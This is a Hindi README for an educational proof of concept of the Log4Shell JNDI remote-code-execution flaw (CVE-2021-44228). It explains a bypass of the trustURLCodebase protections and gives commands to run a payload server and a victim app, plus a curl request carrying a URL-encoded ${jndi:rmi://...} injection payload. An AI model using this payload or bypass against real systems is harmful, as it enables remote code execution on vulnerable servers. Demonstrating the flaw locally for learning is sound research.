
Log4j2 JNDI RCE कमजोरी (CVE-2021-44228/Log4Shell) के लिए एक न्यूनतम प्रूफ-ऑफ-कॉन्सेप्ट।
यह Log4j2 JNDI रिमोट-कोड-एक्जीक्यूशन भेद्यता (CVE-2021-44228) के लिए एक न्यूनतम proof-of-concept है। यह शैक्षिक उद्देश्यों के लिए है ताकि जो लोग सुरक्षा शोधकर्ता नहीं हैं, वे समझ सकें कि यह कैसे काम करता है और इसका प्रभाव कितना बड़ा है।
POC com.sun.jndi.rmi.object.trustURLCodebase और com.sun.jndi.cosnaming.object.trustURLCodebase प्रॉपर्टीज़ को true पर सेट करने की आवश्यकता को दरकिनार करता है, जो 8u121, 7u131, 6u141 से डिफ़ॉल्ट रूप से अक्षम कर दी गई थीं।
नोट: payload-server को कंपाइल करने के लिए JDK 1.8 आवश्यक है, लेकिन victim-app JDK 15 तक भेद्य है क्योंकि [JDK 15 में Nashorn इंजन हटा दिया गया था][]।
payload-server को चलाने के लिए निम्नलिखित चलाएँ:$ ./gradlew runPayloadServer
victim-app प्रारंभ करें:$ ./gradlew runVictimApp
curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D चलाएँ।victim-app का कंसोल लॉग जांचें। आपको स्क्रीन पर एक अनपेक्षित लॉग मुद्रित दिखाई देना चाहिए।